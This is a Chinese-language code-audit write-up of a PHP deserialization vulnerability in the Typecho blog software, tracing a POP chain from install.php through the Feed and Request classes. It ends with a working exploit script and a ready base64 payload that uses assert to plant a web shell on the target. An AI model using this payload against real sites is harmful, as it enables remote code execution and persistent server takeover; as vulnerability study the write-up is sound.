0%

typecho反序列化漏洞分析

正文

环境搭建

  • apache+php5.6+mysql
  • typecho漏洞源码下载
1
2
git clone https://github.com/typecho/typecho.git
git reset --hard 242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5

源码分析

0x00 找参数可控的unserialize函数

全局搜索unserialize函数

我们需要在这里unserialize函数中找到参数可控的。

install.php中的那两个就是最明显的参数可控反序列化

install.php:232

1
2
3
4
5
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);

进入Typecho_Cookie::get

Cookie.php:83

1
2
3
4
5
6
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

这里就很明显了,可以通过COOKIE传参也可以通过POST 传参.

0x01 找POP链

找POP 链的思路就是,顺着代码找危险函数,然后进行利用。

我们来看一下参数可控反序列化函数后的代码

install.php:232

1
2
3
4
5
6
<?php
$config =unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);

既然参数可控并且把内容保存到了$config中,那我们主要精力就应该是在$config参数的传递上。

跟踪到Typecho_Db的实例化,进入Db.php中

存在危险函数call_user_func函数。但是存在参数不可控,再看$adapterName传入进行了字符串连接,如果$adapterName为对象时,就会自动加载__toString魔术方法,所以我们的目标就可以放在魔术方法中了。全局搜索__toString

Query.php中的是数据库的一些操作;Config.php中的是一个序列化;Feed.php中的是对$_items进行遍历输出。前面两个没什么用,但是最后一个代码量多,还可以尝试前面的思路:找魔术方法

接下来进入Feed.php文件跟踪代码

对于$_items我们都是可控的,也就是说,如果$item['author']是一个对象,并且screenName属性不存在时,会自动调用__get()魔术方法。这样我们又有条路可以走了,全局搜索__get

总共有7个文件存在此方法,依次浏览追溯函数,发现在Requests.php

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

追踪get方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

这里面并没有可利用的危险函数,继续跟踪,来到_applyFilter方法

存在call_user_func危险函数,并且两个参数都是类中的属性,所以可控。

分析到此,我们可利用的就是Request.php中的Typecho_Request类以及Feed.php中的Typecho_Feed类,接下来就是构造payload.

0x02 payload构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Typecho_Request{
private $_filter = array('assert');
private $_params=array(
"screenName"=>"file_put_contents('Sh3r.php', '<?php eval(\$_GET[Sh3r]);');"
);
}

class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type = 'RSS 2.0';
private $_items = array();
function __construct(){
$item['author'] = new Typecho_Request();
$this->_items[0] = $item;
}
}

$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => '_pupiles'
);
print_r(base64_encode(serialize($exp)));

运行结果:
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTg6ImZpbGVfcHV0X2NvbnRlbnRzKCdTaDNyLnBocCcsICc8P3BocCBldmFsKCRfR0VUW1NoM3JdKTsnKTsiO319fX19czo2OiJwcmVmaXgiO3M6ODoiX3B1cGlsZXMiO30=

payload构造注意几点:

  • 要根据逻辑依次满足条件到达触发点
  • ob_start

总结

代码审计一定要有耐心,且注意力集中。对代码抽丝剥茧,一点一点的理解,这样才能找到漏洞

Reference

https://blog.szfszf.top/tech/typecho-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

http://pupiles.com/typecho.html